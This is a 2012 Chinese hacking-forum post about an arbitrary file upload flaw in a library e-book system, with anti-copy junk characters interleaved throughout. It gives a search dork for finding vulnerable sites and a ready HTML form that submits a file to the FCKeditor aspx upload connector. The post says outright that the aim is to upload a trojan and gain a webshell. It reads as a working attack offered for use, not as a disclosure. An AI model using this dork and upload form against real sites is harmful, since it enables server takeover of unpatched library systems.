主题:图书馆系统任意文件上传漏洞
/ l& d! V9 @+ Y% o$ s: P6 M; V 作者:冰锋刺客 c6 [+ C" f/ y$ k2 R9 N" p
厂商:点击书(dianjishu.com)
; w6 x9 x; |: I! p, [ 日期:2012-6-21* S8 m6 G3 p/ b% v9 F/ x" K
4 L4 j- K0 Y" eI 概述
4 L% C4 N& a# L4 E5 v8 m8 C 点点书库图书馆系统存在文件上传漏洞，导致可以直接拿webshell
2 F6 {/ p" g& `- u C II 简介
2 J! `5 Q: R; i6 |6 r# F 关键词:"Copyright (C) 点点电子书库 2009-2010, All Rights Reserved"8 c$ I5 d$ J" O+ D
补充一个漏洞
2 S* h( [2 V( @3 F8 S$ ?3 ~4 l <form id="frmUpload" enctype="multipart/form-data"
( b0 e0 P/ T; w5 A action="http://url/admin/js/fckeditor/editor/filemanager/connectors/aspx/upload.aspx?Type=Media" method="post">请上传您的马子<br><input type="file" name="NewFile" size="50"><br>! p: \' Z' U2 c9 p
<input id="btnUpload" type="submit" value="操翻他">- s; R8 }; S5 i. h9 t9 Z
</form>
6 F( X: r0 |' Z: _6 R& T( V 你们懂的- W5 Q/ Z5 F: G g. x* ?+ ~
那傻逼提供还需要改包.( f3 {2 F" {" v$ x$ U
自己看了下源代码发现fckeditor
3 r' H6 Q7 Y9 b5 M. g0 D 直接秒杀" f( o. E/ \$ r
|
发表于 2012-9-10 21:20:59
收藏
支持
反对